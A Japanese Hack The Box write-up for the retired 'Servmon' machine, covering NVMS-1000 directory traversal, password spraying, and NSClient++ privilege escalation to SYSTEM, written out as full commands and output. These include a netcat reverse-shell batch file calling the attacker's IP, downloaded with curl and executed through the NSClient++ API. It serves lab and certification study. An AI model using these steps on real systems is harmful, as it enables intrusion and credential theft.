HTB - Servmon
今回はHack The BoxのRetired Machine(すでにポイントの対象外となった過去問)の1つである「Servmon」というマシンの攻略アプローチを紹介いたします。
マシン情報テーブル
| Hack The BoxでServMonを攻略しよう! | |
| 難易度 | 簡単 |
| OS | Windows |
| 公開日 | 2020年04月12日 |
| マシンの状態 | 引退 |
今回解くマシンは?
「Servmon」とは簡単な難易度のWindowsマシンはで、脆弱なバージョンのNVMS-1000を実行するウェブサイトが特徴でした。NVMS-1000に存在するディレクトリトラバーサル脆弱性を悪用してログインパスワードを取得します。マシンに侵入した後、設定ミスを利用してNSClient++アプリケーションのウェブアドミニストレータのパスワードを見つけ、それを使って権限昇格を行います。
攻略手順概要
攻略アプローチを考えるにあたり、ここではMITRE ATT&CKをガイドラインとして活用してみます。
MITRE ATT&CKに照らした攻略手順の概要は以下の通りです。
| Enterprise tactics | Technique | Software / Tool |
|---|---|---|
| TA0007: Discovery | T1046: Network Service Scanning | nmap |
| TA0007: Discovery | T1083: File and Directory Discovery | ftp |
| TA0006: Credential Access | T1110.003: Brute Force (Password Spraying) | crackmapexec |
| TA0006: Credential Access | T1552.001: Credentials in Files | NSClient++ |
| TA0004: Privilege Escalation | T1068: Exploitation for Privilege Escalation | NSClient++ |
TA0007: Discovery (Reconnaissance)
T1046: Network Service Scanning
いつものようにまず、nmapを使用して、全のTCPポートをスキャンを実行し、開いているポートを見つけていきます。
0hmsec@kali:-$ nmap -p- --min-rate 10000 10.10.10.184
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-06 10:50 IST
Nmap scan report for 10.10.10.184
Host is up (0.038s latency).
Not shown: 65518 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5666/tcp open nrpe
6063/tcp open x11
6699/tcp open napster
8443/tcp open https-alt
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 8.78 seconds
nmapの結果を見ると17ポートが開いていること(open)が確認できます。これから開いているTCPポートにサービスとバージョン検出スキャンを実行していきます。
0hmsec@kali:-$ nmap -p21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670 -sC -sV 10.10.10.184 -oA nmap/tcp-scan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-06 10:53 IST
Nmap scan report for 10.10.10.184
Host is up (0.037s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_02-28-22 06:35PM <DIR> Users
22/tcp open ssh OpenSSH for_Windows_8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 c7:1a:f6:81:ca:17:78:d0:27:db:cd:46:2a:09:2b:54 (RSA)
| 256 3e:63:ef:3b:6e:3e:4a:90:f3:4c:02:e9:40:67:2e:42 (ECDSA)
|_ 256 5a:48:c8:cd:39:78:21:29:ef:fb:ae:82:1d:03:ad:af (ED25519)
80/tcp open http
|_http-title: Site doesn't have a title (text/html).
| fingerprint-strings:
| GetRequest, HTTPOptions, RTSPRequest:
| HTTP/1.1 200 OK
| Content-type: text/html
| Content-Length: 340
| Connection: close
| AuthInfo:
| <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
| <html xmlns="http://www.w3.org/1999/xhtml">
| <head>
| <title></title>
| <script type="text/javascript">
| window.location.href = "Pages/login.htm";
| </script>
| </head>
| <body>
| </body>
| </html>
| NULL:
| HTTP/1.1 408 Request Timeout
| Content-type: text/html
| Content-Length: 0
| Connection: close
|_ AuthInfo:
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5666/tcp open tcpwrapped
6063/tcp open tcpwrapped
6699/tcp open tcpwrapped
8443/tcp open ssl/https-alt
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2020-01-14T13:24:20
|_Not valid after: 2021-01-13T13:24:20
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings:
| FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions:
| HTTP/1.1 404
| Content-Length: 18
| Document not found
| GetRequest:
| HTTP/1.1 302
| Content-Length: 0
| Location: /index.html
| workers
|_ jobs
| http-title: NSClient++
|_Requested resource was /index.html
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
---[snip]---
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-02-06T05:09:12
|_ start_date: N/A
|_clock-skew: -16m35s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 129.09 seconds
UDPポートスキャン
いつも言ってるようにUDPポートスキャンも忘れずに実行しておくことがおすすめです。UDPポートスキャンは時間がかかります。なので開いているTCPポートを調べる同時にUDPポートスキャンを実行することが良いです。このことが習慣になったらいつか役に立つんだと思います。
今回はnmapを使用して、全のUDPポートをスキャンを新しいターミナルで実行し、開いているポートを見つけていきます。忘れずにTCPポートを調べる同時にする練習をしてみてくださいね。
0hmsec@kali:-$ nmap -p- -sU --min-rate 10000 10.10.10.184
nmapの結果を見ると0ポートが開いていること確認できます。だからこそ、これ以上スキャンを続けません。
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-06 11:04 IST
Warning: 10.10.10.184 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.184
Host is up (0.038s latency).
All 65535 scanned ports on 10.10.10.184 are in ignored states.
Not shown: 65462 open|filtered udp ports (no-response), 73 closed udp ports (port-unreach)
Nmap done: 1 IP address (1 host up) scanned in 72.93 seconds
T1083: File and Directory Discovery
Windowsマシンを扱う場合、FTPやSMBのポートが開いていれば、必ず何か興味深いファイルがないか確認するようにしています。
FTP (TCP 21)
FTPのポートが開いているから、必ずanonymousログインが可能か確認すべきです。ユーザー名とパスワードのところで「anonymous」を使用できます。
0hmsec@kali:-$ ftp 10.10.10.184
Connected to 10.10.10.184.
220 Microsoft FTP Service
Name (10.10.10.184:0hmsec): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||49680|)
150 Opening ASCII mode data connection.
02-28-22 06:35PM <DIR> Users
226 Transfer complete.
ftp>
anonymousログイン成功!「Users」というディレクトリがシェアされています。これWindows OSにある「C:\Users」ディレクトリである可能性がありますのでもっと調べてみましょう。
ftp> cd Users
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||49683|)
150 Opening ASCII mode data connection.
02-28-22 06:36PM <DIR> Nadine
02-28-22 06:37PM <DIR> Nathan
226 Transfer complete.
ftp> cd Nadine
250 CWD command successful.
---[snip]---
ftp> get Confidential.txt
local: Confidential.txt remote: Confidential.txt
229 Entering Extended Passive Mode (|||49686|)
125 Data connection already open; Transfer starting.
100% |****************************************************************************************************************| 168 4.45 KiB/s 00:00 ETA
226 Transfer complete.
WARNING! 6 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
168 bytes received in 00:00 (4.43 KiB/s)
---[snip]---
ftp> cd Nathan
250 CWD command successful.
---[snip]---
ftp> get "Notes to do.txt"
local: Notes to do.txt remote: Notes to do.txt
229 Entering Extended Passive Mode (|||49689|)
125 Data connection already open; Transfer starting.
100% |****************************************************************************************************************| 182 4.76 KiB/s 00:00 ETA
226 Transfer complete.
WARNING! 4 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
182 bytes received in 00:00 (4.75 KiB/s)
調べてみるとこの2つの興味深いファイルを見つけました、
Users/Nadine/Confidential.txtUsers/Nathan/"Notes to do.txt"
ファイル-1: Confidential.txt
このファイルの内容を読んでみましょう。
0hmsec@kali:-$ cat Confidential.txt
Nathan,
I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.
Regards
Nadine
「Nadine」というユーザーはあるファイルについて「Nathan」というユーザーにメッセージを書いていたそうです。メッセージから本ファイルの完全な場所を特定できます -
C:\Users\Nathan\Desktop\Passwords.txt
ファイル-2: “Noted to do.txt”
0hmsec@kali:-$ cat 'Notes to do.txt'
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint
このファイルでNVMSとNSClientという2つのアプリケーションの参考がありますので、メモしておいて引き続き列挙進めましょう。
SMB (TCP 139,445)
0hmsec@kali:-$ smbclient -N -L //10.10.10.184/
session setup failed: NT_STATUS_ACCESS_DENIED
anonymousログイン失敗!ですので他のポートを列挙して行きましょう。
ウェブサイト発見
80
http://10.10.10.184/ に行ってみると、NVMS-1000 が実行されていることがわかるし、http://10.10.10.184/Pages/login.htm にリダイレクトされます。
グーグルで調べてみると、NVMS-1000に関連する脆弱性が見つかります。
T1083: File and Directory Discovery
CVE-2019-20085
CVE-2019-20085で見てみると、NVMS-1000でディレクトリトラバーサル脆弱性があることを理解できます。NVMS-1000とは、ネットワーク・ビデオ監視用に使うCMSソフトウェアです。
Kali linuxのsearchsploitで検索してみたら悪用コードを見つけました。見てみましょう。
0hmsec@kali:-$ searchsploit "nvms 1000"
--------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------- ---------------------------------
NVMS 1000 - Directory Traversal | hardware/webapps/47774.txt
TVT NVMS 1000 - Directory Traversal | hardware/webapps/48311.py
--------------------------------------------- ---------------------------------
Shellcodes: No Results
0hmsec@kali:-$ searchsploit -m 48311.py
Exploit: TVT NVMS 1000 - Directory Traversal
URL: https://www.exploit-db.com/exploits/48311
Path: /usr/share/exploitdb/exploits/hardware/webapps/48311.py
Codes: CVE-2019-20085
Verified: False
File Type: Unicode text, UTF-8 text
Copied to: /home/0hmsec/hackthebox/machines/Windows/ServMon/48311.py
悪用-1: 悪用コード使用
見つけたPythonスクリプトをそのまま使用できます。
ですけれども、気になったらBashで書かれた私の悪用コードをチェックしてみてください。コードをわかりやすくするために、できるだけコメントを追加しておきました。
ここで私の悪用コードを利用して悪用していきます。
0hmsec@kali:-$ chmod +x cve-2019-20085-poc.sh
0hmsec@kali:-$ ./cve-2019-20085-poc.sh -u http://10.10.10.184/ -f Users/Nathan/Desktop/Passwords.txt
Target URL: http://10.10.10.184/../../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt
Directory Traversal Succeeded!
Reading the file: Users/Nathan/Desktop/Passwords.txt.
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$
この先FTPシェアで見つけた「Confidential.txt」に参考されていたUsers/Nathan/Desktop/Passwords.txtというファイルの内容を読めました。この「Passwords.txt」というファイルで可能性があるパスワードが含まれているようです。
悪用-1: Burp Suite使用
ディレクトリトラバーサルを実現するもう1つの方法を紹介していきます。それはBurp SuiteでGETリクエストを変更して送信します。
8443
nmapの結果をで、ポート8443でNSClient++が実行されていることがわかります。先に進む前に、ポートも列挙してみましょう。
理由がはっきりわかりませんけれども、Firefoxでページ全体が読まれませんがGoogle Chromeでページ全体読まれます。
T1110.003: Brute Force (Password Spraying)
これまでの情報でユーザーとパスワードのリストを作成できます。
ユーザーネームのリスト
この先FTPシェアで見たら、「Nadine」と「Nathan」という2つのユーザーネームがわかります。これWindowsマシンなので「Administrator」という三つ目のユーザーネームを自信を持って追加できます。
これを「users.txt」というファイルに保存します。
Administrator
Nadine
Nathan
パスワードのリスト
「passwords.txt」というファイルに保存します。
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$
ブルートフォース
Windowsペネトレーションテストに関して最も便利なツールの1つであるcrackmapexec を使用します。
0hmsec@kali:-$ crackmapexec smb 10.10.10.184 -u users.txt -p passwords.txt --continue-on-success
SMB 10.10.10.184 445 SERVMON [*] Windows 10 / Server 2019 Build 17763 x64 (name:SERVMON) (domain:ServMon) (signing:False) (SMBv1:False)
SMB 10.10.10.184 445 SERVMON [-] ServMon\Administrator:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] ServMon\Administrator:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] ServMon\Administrator:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] ServMon\Administrator:L1k3B1gBut7s@W0rk STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] ServMon\Administrator:0nly7h3y0unGWi11F0l10w STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] ServMon\Administrator:IfH3s4b0Utg0t0H1sH0me STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] ServMon\Administrator:Gr4etN3w5w17hMySk1Pa5$ STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] ServMon\Nadine:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] ServMon\Nadine:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] ServMon\Nadine:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [+] ServMon\Nadine:L1k3B1gBut7s@W0rk
SMB 10.10.10.184 445 SERVMON [-] ServMon\Nadine:0nly7h3y0unGWi11F0l10w STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] ServMon\Nadine:IfH3s4b0Utg0t0H1sH0me STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] ServMon\Nadine:Gr4etN3w5w17hMySk1Pa5$ STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] ServMon\Nathan:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] ServMon\Nathan:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] ServMon\Nathan:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] ServMon\Nathan:L1k3B1gBut7s@W0rk STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] ServMon\Nathan:0nly7h3y0unGWi11F0l10w STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] ServMon\Nathan:IfH3s4b0Utg0t0H1sH0me STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] ServMon\Nathan:Gr4etN3w5w17hMySk1Pa5$ STATUS_LOGON_FAILURE
crackmapexecでブルートフォースを実行する場合は、--continue-on-successを忘れずに使用してください。複数のユーザーが同じパスワードを使用している可能性がありますからです。リストの最後までもブルートフォースを継続できます。
見つけた資格情報
crackmapexecの結果で正しい資格情報はNadine:L1k3B1gBut7s@W0rkです。
Shell as Nadine
SSHのポートが開いているので見つけた資格情報を使用してロッグインできます。
0hmsec@kali:-$ ssh Nadine@10.10.10.184
The authenticity of host '10.10.10.184 (10.10.10.184)' can't be established.
ED25519 key fingerprint is SHA256:WctzSeuXs6dqa7LqHkfVZ38Pppc/KRlSmEvNtPlwSoQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.184' (ED25519) to the list of known hosts.
Nadine@10.10.10.184's password:
Microsoft Windows [Version 10.0.17763.864]
(c) 2018 Microsoft Corporation. All rights reserved.
nadine@SERVMON C:\Users\Nadine>
USER flag
nadine@SERVMON C:\Users\Nadine\Desktop>type user.txt
27f0f2ee608...................
とうとうuser.txtフラッグを見つかりましたね。万歳!おめでとうー
TA0004: Privilege Escalation
以前、FTPのファイル「Notes to do.txt」とポート 8443 で実行されているサービスから、NSClient++ について知りました。
nadine@SERVMON c:\Program Files>dir
Volume in drive C has no label.
Volume Serial Number is 20C1-47A1
Directory of c:\Program Files
02/28/2022 06:55 PM <DIR> .
02/28/2022 06:55 PM <DIR> ..
03/01/2022 01:20 AM <DIR> Common Files
11/11/2019 06:52 PM <DIR> internet explorer
02/28/2022 06:07 PM <DIR> MSBuild
02/28/2022 06:55 PM <DIR> NSClient++
02/28/2022 06:46 PM <DIR> NVMS-1000
02/28/2022 06:32 PM <DIR> OpenSSH-Win64
---[snip]---
それでNSClient++がインストールされていることが確認できます。NSClient++とは、Windows 用の監視エージェントであり、Nagios などの監視ツールと統合してシステムのパフォーマンスやサービスを監視します。
「NSClient++」フォルダ内にnscp.exeという実行可能ファイルがあります。これを実行してみましょう。
nadine@SERVMON c:\Program Files\NSClient++>nscp.exe --help
Allowed options:
---[snip]---
Common options:
--help Show the help message for a given command
--no-stderr Do not report errors on stderr
--version Show version information
---[snip]---
--version オプションを使用して、インストールされているバージョン情報を確認できます。
nadine@SERVMON c:\Program Files\NSClient++>nscp.exe --version
NSClient++, Version: 0.5.2.35 2018-01-28, Platform: x64
「searchsploit」では、「NSClient++ 0.5.2.35」に対する2つの悪用への参照が見つかりました。
searchsploit "NSClient++"
----------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------- ---------------------------------
NSClient++ 0.5.2.35 - Authenticated Remote Code Execution | json/webapps/48360.txt
NSClient++ 0.5.2.35 - Privilege Escalation | windows/local/46802.txt
----------------------------------------------------------- ---------------------------------
Shellcodes: No Results
権限昇格の悪用ですから、46802をみてみましょう。このexploit-dbページにも同じ悪用があります。
このexploit-dbページによると、「46802」が動作するための前提条件は以下の通りです:
- システムへのローカルアクセスが必要 - 満たしています。
- NSClient++が動作し、ウェブサーバーが有効になっていることです - 次のセクションで確認方法を説明いたします。
T1552.001: Credentials in Files
ステップ-1:
このページに書いている一番最初のステップはWeb Administratorのパスワードを見つけることです。これは、ウェブサーバーが有効かどうかを確認する方法にもなります。ウェブサーバーが有効の場合は、保存されている平文のパスワードを見つけることができます。
グーグルで調べるとNSCient++の設定を確認する方法が3つあることを分かりました。
コマンド-1:
この悪用のページで書いていました。
nadine@SERVMON c:\Program Files\NSClient++>nscp web -- password --display
Current password: ew2x6SsGTxjRwXOT
Web Administratorのパスワードを見つけました。これはWebサーバーが有効されていることを証明しています。ですから、前提条件2は満たされました。
コマンド-2:
nadine@SERVMON c:\Program Files\NSClient++>nscp settings --show
INI settings: (ini://${shared-path}/nsclient.ini, c:\Program Files\NSClient++/nsclient.ini)
このコマンドはNSClient++の設定のファイルが存在する場所を表示します。あのファイルを開いて設定を見ます。これも証明になります。
nadine@SERVMON c:\Program Files\NSClient++>type "c:\Program Files\NSClient++\nsclient.ini"
# If you want to fill this file with all available options run the following command:
# nscp settings --generate --add-defaults --load-all
# If you want to activate a module and bring in all its options use:
# nscp settings --activate-module <MODULE NAME> --add-defaults
# For details run: nscp settings --help
; in flight - TODO
[/settings/default]
; Undocumented key
password = ew2x6SsGTxjRwXOT
; Undocumented key
allowed hosts = 127.0.0.1
---[snip]---
コマンド-3:
このコマンドはデフォルトではないすべての設定を表示します。これも証明になります。
nadine@SERVMON c:\Program Files\NSClient++>nscp settings --list
---[snip]---
/settings/NRPE/server.verify mode=peer-cert
/settings/default.allowed hosts=127.0.0.1
/settings/default.password=ew2x6SsGTxjRwXOT
/settings/external scripts/wrappings.bat=scripts\\%SCRIPT% %ARGS%
---[snip]---
T1068: Exploitation for Privilege Escalation
NSClient++ 悪用
権限昇格方法は2つあります。
悪用-1:
ステップ-2:
次のステップは、ログインしてアプリケーションの特定のモジュールを有効することです。今までの情報で2つのことがわかります。
- パスワード -
ew2x6SsGTxjRwXOT 127.0.0.1からのみアクセスできます。
ですので、最も当たり前の方法はNadineの認証情報使用してSSHでローカルポートフォワードを作成し、それでNSClient++にログインすることです。
0hmsec@kali:-$ ssh -L 8443:127.0.0.1:8443 Nadine@10.10.10.184
Nadine@10.10.10.184's password:
Microsoft Windows [Version 10.0.17763.864]
(c) 2018 Microsoft Corporation. All rights reserved.
nadine@SERVMON C:\Users\Nadine>
今自分のモシンからNSClient++をhttp://127.0.0.1:8443でアクセスできて、Web Administratorのアカウントにロッグインできます。
以下のスクショで特定のモジュールがもう有効されていることをわかります。
- CheckExternalScripts
- Scheduler
CheckExternalScripts is enabled
ステップ-3:
被害者のマシンに 2 つのファイルが存在する必要があります。
nc64.exe- このgithubページからダウンロードできます。rev.bat- このファイルに好きな名前を付けても問題なしです。以下のようなリバースシェルコードを入れておいてください。
0hmsec@kali:-$ cat rev.bat
c:\temp\nc64.exe 10.10.14.15 81 -e cmd.exe
被害者マシンで「C:\」でtempというディレクトリを作成して、この2つのファイルをダウンロードして行きましょう。
まずは、攻撃マシンからPythonサーバー使用してファイルを配信しましょう。
0hmsec@kali:-$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.184 - - [07/Feb/2025 17:19:15] "GET /nc64.exe HTTP/1.1" 200 -
10.10.10.184 - - [07/Feb/2025 17:19:20] "GET /rev.bat HTTP/1.1" 200 -
それからダウンロードします。
nadine@SERVMON c:\temp>curl http://10.10.14.15/nc64.exe -o nc64.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 45272 100 45272 0 0 45272 0 0:00:01 --:--:-- 0:00:01 281k
nadine@SERVMON c:\temp>curl http://10.10.14.15/rev.bat -o rev.bat
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 42 100 42 0 0 42 0 0:00:01 --:--:-- 0:00:01 538
後、「netcat」リスナーも実行しておきましょう。
nc -nvlp 81
listening on [any] 81 ...
whoami
私はいつもシンプルなコマンドを入力し、Enterキーを押しておきます。プロンプトが表示されない場合もあります。そのため、リバースシェル接続が成功すると、入力したコマンドが自動的に実行され、出力が表示されます。
ステップ-4:
次に「external script」を作成します。Settings -> external scripts -> scriptsに行って「Add new」ボタンを押します。
以下のスクショのように書きます。
次に「Scheduled task」を作成します。Settings -> scheduler -> schedulesに行って「Add new」ボタンを押します。以下のスクショのように書きます。
以下のスクショのように同じTaskにもう1つの「key」と「value」を追加します。
「Changes -> save configuration」と「Control -> Reload」を押します。
これが最も大変な部分です。Restartまでは非常に時間がかかりますが、最終的にはリバースシェルを取得できるはずです。
Restart後でもシェルが取得できない場合は、Queriesに移動し、設定したタスク名(私の場合は「0hmsec」)を選択して、「Run → run」を実行してください。これでリバースシェルが得られるはずです。
悪用-2:
この方法は、APIコールを悪用するものです。一旦SSHローカルポートフォワードのところに戻って、そこから続けてみましょう。
0hmsec@kali:-$ curl -k -u admin https://localhost:8443/api/v1 | jq .
Enter host password for user 'admin':
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 259 100 259 0 0 1692 0 --:--:-- --:--:-- --:--:-- 1692
{
"info_url": "https://localhost:8443/api/v1/info",
"logs_url": "https://localhost:8443/api/v1/logs",
"modules_url": "https://localhost:8443/api/v1/modules",
"queries_url": "https://localhost:8443/api/v1/queries",
"scripts_url": "https://localhost:8443/api/v1/scripts"
}
この前の使用してたnc64.exeはC:\tempに存在するべきです。どうぞダウンロードしてください。
後はC:\Program Files\NSClient++\Scriptsで新しい「batファイル」を以下に紹介されているAPIコールを使用して作成します。「batファイル」の名前を好きにしてください。私の場合は、0hmsec.batと作成します。
0hmsec@kali:-$ curl -s -k -u admin -X PUT https://127.0.0.1:8443/api/v1/scripts/ext/scripts/0hmsec.bat --data-binary "C:\temp\nc64.exe 10.10.14.15 81 -e cmd.exe"
Enter host password for user 'admin':
Added 0hmsec as scripts\0hmsec.bat
被害者マシンで正しく作成できているかを確認できます。
nadine@SERVMON c:\Program Files\NSClient++\scripts>dir
Volume in drive C has no label.
Volume Serial Number is 20C1-47A1
Directory of c:\Program Files\NSClient++\scripts
02/07/2025 04:52 AM <DIR> .
02/07/2025 04:52 AM <DIR> ..
02/07/2025 04:52 AM 42 0hmsec.bat
11/05/2017 10:11 PM 80 check_60s.bat
---[snip]---
最後に、以下のAPIコールを使用してスクリプトを実行します。スクリプトの名前を作成した名前に変更することを忘れないでくださいね。
curl -s -k -u admin https://127.0.0.1:8443/api/v1/queries/0hmsec/commands/execute?time=10s
Enter host password for user 'admin':
Shell as NT AUTHORITY\SYSTEM
0hmsec@kali:-$ nc -nvlp 81
listening on [any] 81 ...
whoami
connect to [10.10.14.15] from (UNKNOWN) [10.10.10.184] 50021
Microsoft Windows [Version 10.0.17763.864]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Program Files\NSClient++>whoami
nt authority\system
ROOT flag
とうとうroot.txtフラッグも見つかりましたね。
いつも申し上げてるように、もしOSCP+試験を受ける方なら、フラッグ見つかった証明スクショを撮るときには
type root.txt、whoamiとipconfig、この3つのコマンドの結果が写っていなければなりません。以下の例みたいに撮ってください。OSCP+試験には”root.txt”は”proof.txt”になりますから気をつけてくださいね。
c:\Users\Administrator\Desktop>type root.txt
type root.txt
1a46c75407df1.................
c:\Users\Administrator\Desktop>whoami
whoami
nt authority\system
c:\Users\Administrator\Desktop>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
IPv6 Address. . . . . . . . . . . : dead:beef::ccff:e7f6:ddc9:24e9
Link-local IPv6 Address . . . . . : fe80::ccff:e7f6:ddc9:24e9%6
IPv4 Address. . . . . . . . . . . : 10.10.10.184
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:9106%6
10.10.10.2
万歳!万歳!万歳!













